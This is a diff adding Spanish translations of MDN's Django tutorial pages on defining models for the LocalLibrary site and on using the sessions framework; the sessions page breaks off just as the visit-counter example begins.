+
+<p>Puedes declarar metadatos a nivel de modelo para tu Modelo declarando <code>class Meta</code>, tal como se muestra.</p>
+
+<pre class="brush: python notranslate">class Meta:
+    ordering = ["-my_field_name"]
+    ...</pre>
+
+<p>Una de las características más útiles de estos metadatos es controlar el <em>orden por defecto</em> de los registros que se devuelven cuando se consulta el tipo de modelo. Se hace especificando el orden de comprobación en una lista de nombres de campo en el atributo <code>ordering</code>, como se muestra arriba. La ordenación dependerá del tipo de campo (los campos de caracteres de ordenan alfabéticamente, mientras que los campos de fechas están clasificados por orden cronológico). Como se muestra arriba, se puede invertir el orden de clasificación añadiendo el símbolo (-) como prefijo del nombre del campo.</p>
+
+<p>Así como ejemplo, si elegimos clasificar los libros de esta forma por defecto:</p>
+
+<pre class="brush: python notranslate">ordering = ["title", "-pubdate"]</pre>
+
+<p>los libros serán clasificados alfabéticamente por título, de la A al a Z, y luego por fecha de publicación dentro de cada título, desde el más reciente al más antiguo.</p>
+
+<p>Otro atributo común es <code>verbose_name</code>, un nombre descriptivo para la clase en forma singular y plural:</p>
+
+<pre class="brush: python notranslate">verbose_name = "BetterName"</pre>
+
+<p>Otros atributos útiles te permiten crear y aplicar nuevos "permisos de acceso" para el modelo (los permisos por defecto se aplican automáticamente), te permiten la ordenación basado en otro campo, o declarar que la clase es "abstracta" (una clase base para la que no vas a crear registros, y que en cambio se derivará para crear otros modelos).</p>
+
+<p>Muchas de las otras opciones de metadatos controlan qué base datos debe usarse para el modelo y cómo se guardan los datos (éstas son realmente útiles si necesitas mapear un modelo a una base datos existente).</p>
+
+<p>La lista completa de opciones de metadatos está disponible aquí: <a href="https://docs.djangoproject.com/es/2.0/ref/models/options/">Opciones de metadatos de Modelos</a> (Django docs).</p>
+
+<h4 id="Metodos">Metodos</h4>
+
+<p>Un modelo puede tener también métodos</p>
+
+<p>Minimamente, en cada modelo deberías definir el método estándar de las clases de Python <code>__str__()</code> para devolver una cadena de texto legible por humanos para cada objeto. Esta cadena se usa para representar registros individuales en el sitio de administración (y en cualquier otro lugar donde necesites referirte a una instancia del modelo). Con frecuencia éste devolverá un título o nombre de campo del modelo.</p>
+
+<pre class="brush: python notranslate">def __str__(self):
+    return self.field_name</pre>
+
+<p>Otro método común a incluir en los modelos de Django es <code>get_absolute_url()</code>, que devuelve un URL para presentar registros individuales del modelo en el sitio web (si defines este método, Django añadirá automáticamente un botón "Ver en el sitio" en la ventana de edición del registro del modelo en el sitio de Administración). Un patrón típico para <code>get_absolute_url()</code> se muestra abajo.</p>
+
+<pre class="brush: python notranslate">def get_absolute_url(self):
+    """
+     Devuelve la url para acceder a una instancia particular del modelo.
+    """
+    return reverse('model-detail-view', args=[str(self.id)])
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Asumiendo que usarás URLs tipo <code>/myapplication/mymodelname/2</code> para presentar registros individuales para tu modelo (donde "2" es el <code>id</code> de un registro en particular), necesitarás crear un mapeador URL para pasar la respuesta e id a la "vista detallada del modelo (model detail view)" (que hará el trabajo requerido para presentar el registro). La función <code>reverse()</code> de arriba es capaz de "invertir" tu mapeador url (llamado <em>'model-detail-view' </em>en el caso de arriba) para crear una URL del formato correcto.</p>
+
+<p>Por supuesto para hacer este trabajo ¡tienes aún que escribir el mapeo URL, la vista y la plantilla!</p>
+</div>
+
+<p>Puedes también definir todos los métodos que te apetezca y llamarlos desde tu código o plantillas (siempre y cuando no reciban ningún parámetro).</p>
+
+<h3 id="Gestión_de_Modelos">Gestión de Modelos</h3>
+
+<p>Una vez que has definido tus clases de modelos puedes usarlas para crear, actualizar o borrar registros, y ejecutar consultas para obtener todos los registros o subconjuntos particulares de registros. Te mostraremos cómo hacer eso en el tutorial cuando definamos nuestras vistas, pero aquí va un breve resumen.</p>
+
+<h4 id="Creación_y_modificación_de_registros">Creación y modificación de registros</h4>
+
+<p>Para crear un registro puedes definir una instancia del modelo y llamar a <code>save()</code>.</p>
+
+<pre class="brush: python notranslate"># Creación de un nuevo registro usando el constructor del modelo.
+a_record = MyModelName(my_field_name="Instancia #1")
+
+# Guardar el objeto en la base de datos.
+a_record.save()
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Si no has declarado ningún campo como <code>primary_key</code>, al nuevo registro se le proporcionará una automáticamente, con el nombre de campo <code>id</code>. Puedes consultar este campo después de guardar el registro anterior y debería tener un valor de 1.</p>
+</div>
+
+<p>Puedes acceder a los campos de este nuevo registro usando la sintaxis de puntos y cambiar los valores. Tienes que llamar a <code>save()</code> para almacenar los valores modificados en la base de datos.</p>
+
+<pre class="brush: python notranslate"># Accesso a los valores de los campos del modelo usando atributos Python.
+print(a_record.id) # Debería devolver 1 para el primer registro.
+print(a_record.my_field_name) # Debería imprimir 'Instancia #1'
+
+# Cambio de un registro modificando los campos llamando a save() a continuación.
+a_record.my_field_name="Nuevo Nombre de Instancia"
+a_record.save()</pre>
+
+<h4 id="Búsqueda_de_registros">Búsqueda de registros</h4>
+
+<p>Puedes buscar registros que coincidan con un cierto criterio usando el atributo <code>objects</code> del modelo (proporcionado por la clase base).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Explicar cómo buscar registros usando un modelo y nombres de campo "abstractos" puede resultar un poco confuso. En la exposición de abajo nos referiremos a un modelo <code>Book</code> con campos <code>title</code> y <code>genre</code>, donde genre (género) es también un modelo con un solo campo <code>name</code>.</p>
+</div>
+
+<p>Podemos obtener todos los registros de un modelo como <code>QuerySet</code>, usando <code>objects.all()</code>. El <code>QuerySet</code> es un objeto iterable, significando que contiene un número de objetos por los que podemos iterar/hacer bucle.</p>
+
+<pre class="brush: python notranslate">all_books = Book.objects.all()
+</pre>
+
+<p>El método de Django <code>filter()</code> nos permite filtrar el <code>QuerySet</code> devuelto para que coincida un campo de <strong>texto</strong> o <strong>numérico</strong> con un criterio particular. Por ejemplo, para filtrar libros que contengan la palabra "wild" en el título y luego contarlos, podemos hacer lo siguiente:</p>
+
+<pre class="brush: python notranslate">wild_books = Book.objects.filter(title__contains='wild')
+number_wild_books = Book.objects.filter(title__contains='wild').count()
+</pre>
+
+<p>Los campos a buscar y el tipo de coincidencia son definidos en el nombre del parámetro de filtro, usando el formato: <code>field_name__match_type</code> (ten en cuenta el <em>doble guión bajo</em> entre <code>title</code> y <code>contains</code> anterior). En el ejemplo anterior estamos filtrando <code>title</code> por un valor sensible a mayúsculas y minúsculas. Puedes hacer otros muchos tipos de coincidencias: <code>icontains</code> (no sensible a mayúsculas ni minúsculas), <code>iexact</code> (coincidencia exacta no sensible a mayúsculas ni minúsculas), <code>exact</code> (coincidencia exacta sensible a mayúsculas y minúsculas) e <code>in</code>, <code>gt</code> (mayor que), <code>startswith</code>, etc. Puede ver la <a href="https://docs.djangoproject.com/en/1.10/ref/models/querysets/#field-lookups">lista completa aquí</a>.</p>
+
+<p>En algunos casos, necesitarás filtrar por un campo que define una relación uno-a-muchos con otro modelo (por ejemplo, una <code>ForeignKey</code>). En estos casos puedes "referenciar" a campos dentro del modelo relacionado con un doble guión bajo adicional. Así, por ejemplo, para filtrar los libros de un género específico tienes que referenciar el <code>name</code> a través del campo <code>genre</code> como se muestra más abajo:</p>
+
+<pre class="brush: python notranslate">books_containing_genre = Book.objects.filter(genre<strong>__</strong>name<strong>__</strong>icontains='fiction')  # Will match on: Fiction, Science fiction, non-fiction etc.
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes usar guiones bajos (__)  para navegar por tantos niveles de relaciones (<code>ForeignKey</code>/<code>ManyToManyField</code>) como quieras. Por ejemplo, un Book que tuviera diferentes "types", definidos usando una relación adicional "cover", podría tener un nombre de parámetro: <code>type__cover__name__exact='hard'.</code></p>
+</div>
+
+<p>Puedes hacer muchas más cosas con las consultas, incluyendo búsquedas hacia atrás de modelos relacionados, filtros encadenados, devolver un conjunto de valores más pequeño, etc. Para más información, puedes consultar <a href="https://docs.djangoproject.com/en/1.10/topics/db/queries/">Elaborar consultas</a> (Django Docs).</p>
+
+<h2 id="Definiendo_los_Modelos_de_LocalLybrary">Definiendo los Modelos de LocalLybrary</h2>
+
+<p>En esta sección comenzaremos a definir los modelos para nuestra biblioteca. Abre <em>models.py (en /locallibrary/catalog/)</em>. El código de más arriba importa el módulo <code>models</code> que contiene la clase <code>models.Model</code>, que servirá de base para nuestros modelos:</p>
+
+<pre class="brush: python notranslate">from django.db import models
+
+# Create your models here.</pre>
+
+<h3 id="Modelo_Genre">Modelo 'Genre'</h3>
+
+<p>Copia el código del modelo <code>Genre</code> que se muestra abajo y pégalo al final de tu archivo <code>models.py</code>. Este modelo nos servirá para almacenar información relativa a la categoría del libro (por ejemplo, si es ficción o no, si es un romancero o es un libro de historia, etc.) Como se dijo más arriba, preferimos modelar el género (Genre) como una entidad, en vez de utilizar un campo de texto o una lista de opciones, porque de esta manera es posible manejar los valores a través de nuestra base de datos, en vez de fijarlo en el código (<em>hard-coding</em>)</p>
+
+<pre class="brush: python notranslate">class Genre(models.Model):
+    """
+    Modelo que representa un género literario (p. ej. ciencia ficción, poesía, etc.).
+    """
+    name = models.CharField(max_length=200, help_text="Ingrese el nombre del género (p. ej. Ciencia Ficción, Poesía Francesa etc.)")
+
+    def __str__(self):
+        """
+        Cadena que representa a la instancia particular del modelo (p. ej. en el sitio de Administración)
+        """
+        return self.name</pre>
+
+<p>El modelo tiene un único campo (<code>name</code>), de tipo <code>CharField</code>, que usaremos para describir el género literario. Este campo tiene un tamaño máximo (<code>max_length</code>) de 200 caracteres y, además, posee un <code>help_text</code>. Al final de la clase, hemos declarado el método <code>__str__()</code>, que simplemente devuelve el nombre de un género definido por un registro en particular. Como no hemos definido un nombre explicativo (<code>verbose_name</code>) para nuestro campo, éste se establecerá en <code>Name</code> y se mostrará de esa manera en los formularios.</p>
+
+<h3 id="Modelo_Book">Modelo 'Book'</h3>
+
+<p>Copia el código del modelo <code>Book</code> que aparece más abajo y pégalo al final de tu archivo. El modelo Libro representa la información que se tiene sobre un libro, en sentido general, pero no sobre un libro particular que se encuentre disponible en la biblioteca. Este modelo utiliza campos de tipo <code>CharField</code> para representar el título (<code>title)</code> y el <code>isbn</code> del libro (nota que el campo <code>isbn</code> especifica su etiqueta como "ISBN" utilizando el primer parámetro posicional, ya que la etiqueta por defecto hubiera sido "Isbn"). Además tenemos un campo para la sinopsis (<code>summary</code>), de tipo <code>TextField</code>, ya que este texto podría ser bastante largo.</p>
+
+<pre class="brush: python notranslate">from django.urls import reverse #Used to generate URLs by reversing the URL patterns
+
+class Book(models.Model):
+    """
+    Modelo que representa un libro (pero no un Ejemplar específico).
+    """
+
+    title = models.CharField(max_length=200)
+
+    author = models.ForeignKey('Author', on_delete=models.SET_NULL, null=True)
+    # ForeignKey, ya que un libro tiene un solo autor, pero el mismo autor puede haber escrito muchos libros.
+    # 'Author' es un string, en vez de un objeto, porque la clase Author aún no ha sido declarada.
+
+    summary = models.TextField(max_length=1000, help_text="Ingrese una breve descripción del libro")
+
+    isbn = models.CharField('ISBN',max_length=13, help_text='13 Caracteres &lt;a href="https://www.isbn-international.org/content/what-isbn"&gt;ISBN number&lt;/a&gt;')
+
+    genre = models.ManyToManyField(Genre, help_text="Seleccione un genero para este libro")
+    # ManyToManyField, porque un género puede contener muchos libros y un libro puede cubrir varios géneros.
+    # La clase Genre ya ha sido definida, entonces podemos especificar el objeto arriba.
+
+    def __str__(self):
+        """
+        String que representa al objeto Book
+        """
+        return self.title
+
+
+    def get_absolute_url(self):
+        """
+        Devuelve el URL a una instancia particular de Book
+        """
+        return reverse('book-detail', args=[str(self.id)])
+</pre>
+
+<p>El género es un campo de tipo <code>ManyToManyField</code>, de manera tal que un mismo libro podrá abarcar varios géneros y un mismo género podrá abarcar muchos libros. El autor es declarado como <code>ForeignKey</code>, de modo que cada libro podrá tener un sólo autor, pero un autor podrá tener muchos libros (en la vida real, un mismo libro puede tener varios autores, pero en nuestra implementación no).</p>
+
+<p>En la declaración de ambos campos, el modelo relacionado se ingresa como primer parámetro posicional, usando el nombre la clase que lo implementa o, bien, el nombre del modelo como string, si éste no ha sido implementado en el archivo, antes de la declaración del campo. Otros parámetros interesantes que podemos observar, en el campo <code>author</code>, son <code>null=True</code>, que permite a la base de datos almacenar <code>null</code> si el autor no ha sido seleccionado, y <code>on_delete=models.SET_NULL</code>, que pondrá en <code>null</code> el campo si el registro del autor relacionado es eliminado de la base de datos.</p>
+
+<p>El modelo también define <code>__str__()</code>, usando el campo <code>title</code> para representar un registro de la clase <code>Book</code>. El último método, <code>get_absoulte_url()</code> devuelve un URL que puede ser usado para acceder al detalle de un registro particular (para que esto funcione, debemos definir un mapeo de URL que tenga el nombre <code>book-detail</code> y una vista y una plantilla asociadas a él)</p>
+
+<h3 id="Modelo_BookInstance">Modelo 'BookInstance'</h3>
+
+<p>A continuación, copie el model <code>BookInstance</code>  (mostrado a continuación) debajo de los otros modelos. <code>BookInstance</code> representa una copia específica de un libro que alguien pueda pedir prestado, en incluye información sobre si la copia esta disponible o sobre cual es la fecha que se espera sea devuelto, "imprenta" o detalles de versión, y un id único para el libro en la biblioteca.</p>
+
+<p>Algunos de los campos y métodos ahora serán familiares. El modelo usa</p>
+
+<ul>
+ <li><code>ForeignKey</code>  para identificar el Libro asociado (cada libro puede tener muchas copias, pero una copia solo puede tener un  <code>Book</code>).</li>
+ <li><code>CharField</code> para representar la imprenta (publicación específica) del libro.</li>
+</ul>
+
+<pre class="brush: python notranslate">import uuid # Requerida para las instancias de libros únicos
+
+class BookInstance(models.Model):
+    """
+    Modelo que representa una copia específica de un libro (i.e. que puede ser prestado por la biblioteca).
+    """
+    id = models.UUIDField(primary_key=True, default=uuid.uuid4, help_text="ID único para este libro particular en toda la biblioteca")
+    book = models.ForeignKey('Book', on_delete=models.SET_NULL, null=True)
+    imprint = models.CharField(max_length=200)
+    due_back = models.DateField(null=True, blank=True)
+
+    LOAN_STATUS = (
+        ('m', 'Maintenance'),
+        ('o', 'On loan'),
+        ('a', 'Available'),
+        ('r', 'Reserved'),
+    )
+
+    status = models.CharField(max_length=1, choices=LOAN_STATUS, blank=True, default='m', help_text='Disponibilidad del libro')
+
+    class Meta:
+        ordering = ["due_back"]
+
+
+    def __str__(self):
+        """
+        String para representar el Objeto del Modelo
+        """
+        return '%s (%s)' % (self.id,self.book.title)</pre>
+
+<p>Adicionalmente hemos declarado algunos tipos nuevos de campos:</p>
+
+<ul>
+ <li><code>UUIDField</code> es usado para establecer el campo <code>id</code> como una <code>primary_key</code> para este modelo. Este tipo de campo asigna un único valor global para cada instancia ( uno para cada libro que puedes encontrar en la biblioteca).</li>
+ <li><code>DateField</code> es usado para la fecha <code>due_back</code>  (en la que se espera que el libro este diponible despues de ser prestado o estar en mantenimiento). Este valor puede ser  <code>blank</code> o <code>null</code> (necesario cuando el libro esta disponible). El patrón metadata (<code>Class Meta</code>) usa este campo para ordenar registros cuando se retornan en una consulta.</li>
+ <li><code>status</code> es un <code>CharField</code>  que define una lista de elección/selección. Como puedes ver,  hemos definido una tupla que contiene tuplas de pares clave-valor y los pasamos a los argumentos de choice. El valor en un par clave/valor es  un valor desplegable que el usuario puede seleccionar, mientras las claves son valores que en realidad son guardados en la opción seleccionada. Tambien establecemos un valor por defecto de 'm' (maintenance) ya que los libros inicialmente se crearán como no disponibles antes de que esten almacenados en los estantes.</li>
+</ul>
+
+<p>El patrón <code>__str__()</code> representa el objeto <code>BookInstance</code> usando una combinación de  su id único y el título del  <code>Book</code> asociado.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Un poco de Python:</p>
+
+<ul>
+ <li>El valor retornado por <code>__str__()</code> es una <em>cadena formateada</em>. Dentro de la cadena usamos <code>%s</code> para declarar "marcadores de posición". Después de la cadena ponemos <code>%</code>  y después una tupla que contiene los valores que serán puestos en los marcadores de posición.  Si solo tienes un marcador de posición entonces puedes omitir la tupla — e.j. <code>'Mi valor: %s' % variable.</code><br>
+  <br>
+  Note que aunque este enfoque es perfectamente válido,  sea conciente que ya no es preferido. Desde  Python 3 debes usar en su lugar el método <strong>format</strong>, ej. <code>'{0} ({1})'.format(self.id,self.book.title)</code>. Puedes leer más sobre esto <a href="https://www.python.org/dev/peps/pep-3101/">aquí</a>. A partir de  Python 3.6 también puedes usar la sintaxis de interpolación de cadena, e.j. <code>f'{self.id} ({self.book.title})'</code>.</li>
+</ul>
+</div>
+
+<h3 id="Modelo_Author">Modelo 'Author'</h3>
+
+<p>Copia el modelo <code>Author</code>  (mostrado abajo) bajo el código existente en <strong>models.py</strong>.</p>
+
+<p>Todos los campos/métodos ahora deben ser familiares. El modelo define a un autor que tiene un primer nombre, apellido, fecha de nacimiento, y (opcional) fecha de fallecimiento. Especifica que de forma predeterminada el  <code>__str__()</code> retorna el nombre   en  el <em>orden apellido</em>, <em>primer nombre</em>. El método <code>get_absolute_url()</code> invierte el mapeo URL <code>author-detail</code> para obtener el URL para mostrar un autor individual.</p>
+
+<pre class="brush: python notranslate">class Author(models.Model):
+    """
+    Modelo que representa un autor
+    """
+    first_name = models.CharField(max_length=100)
+    last_name = models.CharField(max_length=100)
+    date_of_birth = models.DateField(null=True, blank=True)
+    date_of_death = models.DateField('Died', null=True, blank=True)
+
+    def get_absolute_url(self):
+        """
+        Retorna la url para acceder a una instancia particular de un autor.
+        """
+        return reverse('author-detail', args=[str(self.id)])
+
+
+    def __str__(self):
+        """
+        String para representar el Objeto Modelo
+        """
+        return '%s, %s' % (self.last_name, self.first_name)
+</pre>
+
+<h2 id="Reiniciar_las_migraciones_a_la_base_de_datos">Reiniciar las migraciones a la base de datos</h2>
+
+<p>Todos tus modelos han sido creados. Para añadirlos a tu base de datos, vuelve a ejecutar las migraciones de tu base de datos.</p>
+
+<pre class="notranslate"><code>python3 manage.py makemigrations
+python3 manage.py migrate</code></pre>
+
+<h2 id="Modelo_Language_-_desafío">Modelo 'Language' - desafío</h2>
+
+<p>Imagina que un benefactor local dona un número de libros nuevos escritos en otro lenguaje (digamos, Farsi). El desafío es averiguar como estos pueden ser bien representados en tu sitio Web, y luego agregarlos a los modelos.</p>
+
+<p>Algunas cosas a considerar:</p>
+
+<ul>
+ <li>¿Debe asociarse un "lenguaje" a un <code>Book</code>, <code>BookInstance</code>, o algún otro objeto?</li>
+ <li>¿Deberian representarse  los diferentes idiomas usando un modelo, un campo de texto libre o una lista de seleccion codificada?</li>
+</ul>
+
+<p>Después que hayas decidido, agrega el campo. Puedes ver que decidimos nostros en Github <a href="https://github.com/mdn/django-locallibrary-tutorial/blob/master/catalog/models.py">aquí</a>.</p>
+
+<p>No olvides que después de un cambio en tu modelo, debes volver a hacer las migraciones para que se apliquen los cambios en tu base de datos.</p>
+
+<pre class="brush: bash notranslate"><code>python3 manage.py makemigrations</code><code>
+python3 manage.py migrate</code></pre>
+
+<ul>
+</ul>
+
+<ul>
+</ul>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>En este artículo hemos aprendido como son definidos los modelos, y luego usar esta información para diseñar e implementar modelos apropiados para el sitio Web  <em>LocalLibrary</em>.</p>
+
+<p>En este punto nos desviaremos brevemente de la creación del sitio, y miraremos el <em>sitio de Administración de </em><em>Django</em>. Este sitio nos permitirá añadir algunos datos a la biblioteca, los cuales podemos mostrar usando nuestras (aún por crear) vistas y plantillas.</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/1.10/intro/tutorial02/">Escribiendo tu primera aplicación Django, parte 2</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/topics/db/queries/">Realizando consultas</a> (Django Docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/querysets/">Referencia del API QuerySet</a> (Django Docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django")}}</p>
+
+<h2 id="En_este_modulo">En este modulo</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/es/learn/server-side/django/sessions/index.html b/files/es/learn/server-side/django/sessions/index.html
new file mode 100644
index 0000000000..f5b751c115
--- /dev/null
+++ b/files/es/learn/server-side/django/sessions/index.html
@@ -0,0 +1,200 @@
+---
+title: 'Tutorial de Django Parte 7: Framework de sesiones'
+slug: Learn/Server-side/Django/Sessions
+tags:
+  - Artículo
+  - Principiante
+  - Python
+  - Servidor
+  - Sesion
+  - Sesiones
+  - Tutorial
+  - aprende
+  - django
+  - lado-servidor
+translation_of: Learn/Server-side/Django/Sessions
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django/authentication", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">Este tutorial extiende nuestro sitio web de la <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">BibliotecaLocal</a>, añadiendo un contador de visitas a tu página de inicio basado en sesiones. Es un ejemplo relativamente simple, pero muestra cómo puedes usar el framework de sesión para proporcionar persistencia a usuarios anónimos en tus propios sitios.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos:</th>
+   <td>Completar todos los tópicos anteriores del tutorial, incluyendo <a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Entender como emplear las sesiones.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El sitio web de la <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">BibliotecaLocal</a> que creamos en los tutoriales previos permite a los usuarios explorar los libros y autores en el catálogo. Mientras que el contenido se genera dinámicamente desde la base de datos, todos los usuarios básicamente tendrán acceso a las mismas páginas y tipos de información cuando usan el sitio.</p>
+
+<p>En una biblioteca "real" podrías querer dar a cada usuario individual una experiencia personalizada, basada en su uso previo del sitio, preferencias, etc. Por ejemplo, podrías ocultar los mensajes de advertencia que el usuario ya ha aceptado previamente la próxima vez que visite el sitio, o guardar y respetar sus preferencias (ej. el número de resultados de búsqueda que quiere desplegar en cada página).</p>
+
+<p>El framework de sesiones te permite implementar este tipo de comportamiento, pudiendo guardar y recuperar información arbitraria en base a cada visitante particular del sitio.</p>
+
+<h2 id="¿Qué_son_las_sesiones">¿Qué son las sesiones?</h2>
+
+<p>Toda comunicación entre los navegadores web y los servidores se da a través del protocolo HTTP, que es <em>sin estado</em>. El hecho de que el protocolo sea sin estado significa que los mensajes entre el cliente y el servidor son completamente independientes entre sí -- no existe una noción de "secuencia" o comportamiento basado en mensajes previos. Como resultado, si quieres tener un sitio que guarde registro de la relación que tiene lugar con un cliente, necesitas implementarlo tú mismo.</p>
+
+<p>Las sesiones son el mecanismo que usa Django (y la mayor parte de Internet) para guardar registro del "estado" entre el sitio y un navegador en particular. Las sesiones te permiten almacenar información arbitraria por navegador, y tener esta información disponible para el sitio cuando el navegador se conecta. Cada pieza individual de información asociada con una sesión se conoce como "clave", que se usa tanto para guardar como para recuperar la información.</p>
+
+<p>Django usa una cookie que contiene un <em>id de sesión</em> específica para identificar cada navegador y su sesión asociada con el sitio. La información real de la sesión se guarda por defecto en la base de datos del sitio (esto es más seguro que guardar la información en una cookie, donde es más vulnerable para los usuarios maliciosos). Puedes configurar Django para guardar la información de sesión en otros lugares (caché, archivos, cookies "seguras"), pero la opción por defecto es una buena opción y relativamente segura.</p>
+
+<h2 id="Habilitando_las_sesiones">Habilitando las sesiones</h2>
+
+<p>Las sesiones fueron automáticamente habilitadas cuando <a href="/es/docs/Learn/Server-side/Django/skeleton_website">creamos el sitio web esqueleto</a> (en el tutorial 2).</p>
+
+<p>La configuración está establecida en las secciones <code>INSTALLED_APPS</code> y <code>MIDDLEWARE</code> del archivo del proyecto (<strong>locallibrary/locallibrary/settings.py</strong>), como se muestra abajo:</p>
+
+<pre class="brush: python notranslate">INSTALLED_APPS = [
+    ...
+<strong>    'django.contrib.sessions',</strong>
+    ....
+
+MIDDLEWARE = [
+    ...
+<strong>    'django.contrib.sessions.middleware.SessionMiddleware',</strong>
+    ....</pre>
+
+<h2 id="Usando_las_sesiones">Usando las sesiones</h2>
+
+<p>Puedes usar el atributo <code>session</code> en la vista desde el parámetro <code>request</code> (una <code>HttpRequest</code> que se envía como el primer argumento a la vista). Este atributo de sesión representa la conección específica con el usuario actual (o para ser más preciso, la conección con el <em>navegador</em> actual, como se identifica mediante la id de sesión en la cookie del navegador para este sitio).</p>
+
+<p>El atributo <code>session</code> es un objeto tipo diccionario que puedes leer y escribir tantas veces como quieras en tu vista, modificándolo como desees. Puedes realizar todas las operaciones normales de diccionario, incluyendo eliminar toda la información, probar si una clave está presente, iterar a través de la información, etc. Sin embargo, la mayor parte del tiempo solo usarás la API estándar de "diccionario" para recuperar y establecer valores.</p>
+
+<p>Los fragmentos de código de abajo te muestran cómo puedes recuperar, establecer o eliminar información con la clave "<code>my_car</code>", asociada con la sesión actual (del navegador).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Una de las cosas grandiosas de Django es que no necesitas pensar sobre los mecanismos que relacionan la sesión con tu solicitud actual en tu vista. Si fuéramos a usar los fragmentos de abajo en nuestra vista, sabríamos que la información sobre <code>my_car</code> está asociada solo con el navegador que envió la solicitud.</p>
+</div>
+
+<pre class="brush: python notranslate"># Obtener un dato de la sesión por su clave (ej. 'my_car'), generando un KeyError si la clave no existe
+my_car = request.session['my_car']
+
+# Obtener un dato de la sesión, estableciendo un valor por defecto ('mini') si el dato requerido no existe
+my_car = request.session.get('my_car', 'mini')
+
+# Asignar un dato a la sesión
+request.session['my_car'] = 'mini'
+
+# Eliminar un dato de la sesión
+del request.session['my_car']
+</pre>
+
+<p>La API ofrece también una cantidad de métodos adicionales que se usan mayoritariamente para administrar la cookie de sesión asociada. Por ejemplo, hay métodos para probar si el navegador cliente soporta cookies, establecer y revisar las fechas de expiración de las cookies, y para eliminar sesiones expiradas del almacén de datos. Puedes encontrar información sobre la API completa en <a href="https://docs.djangoproject.com/en/1.10/topics/http/sessions/">Cómo usar sesiones</a> (Django docs).</p>
+
+<h2 id="Guardando_la_información_de_la_sesión">Guardando la información de la sesión</h2>
+
+<p>Por defecto, Django solo guarda información en la base de datos de sesión y envía la cookie de sesión al cliente cuando la sesión ha sido <em>modificada</em> (asignada) o <em>eliminada</em>. Si estás actualizando algún dato usando su clave de sesión como se mostró en la sección previa, ¡no necesitas preocuparte por esto! Por ejemplo:</p>
+
+<pre class="brush: python notranslate"># Esto es detectado como un cambio en la sesión, así que la información de la sesión es guardada.
+request.session['my_car'] = 'mini'</pre>
+
+<p>Si estás actualizando algún dato <em>dentro</em> de la información de sesión, Django no reconocerá que has hecho un cambio en la sesión y guardado la información (por ejemplo, si fueras a cambiar el dato "<code>wheels</code>" dentro de tu dato "<code>my_car</code>", como se muestra abajo). En este caso, necesitarás marcar explícitamente la sesión como que ha sido modificada.</p>
+
+<pre class="brush: python notranslate"># Objeto de sesión no directamente modificada, solo información dentro de la sesión.
+# ¡Cambios no guardados!
+request.session['my_car']['wheels'] = 'alloy'
+
+# Establecer la sesión como modificada para forzar a que se guarden los cambios.
+<code>request.session.modified = True</code>
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes cambiar el comportamiento para que el sitio actualice la base de datos y envíe la cookie en cada solicitud añádiendo <code>SESSION_SAVE_EVERY_REQUEST = True</code> a la configuración de tu proyecto (<strong>locallibrary/locallibrary/settings.py</strong>).</p>
+</div>
+
+<h2 id="Ejemplo_simple_--_obteniendo_conteos_de_visitas">Ejemplo simple -- obteniendo conteos de visitas</h2>
+
+<p>Como un ejemplo simple del mundo real, actualizaremos nuestra biblioteca para decirle al usuario actual cuántas veces ha visitado la página principal de <em>BibliotecaLocal</em>.</p>
+
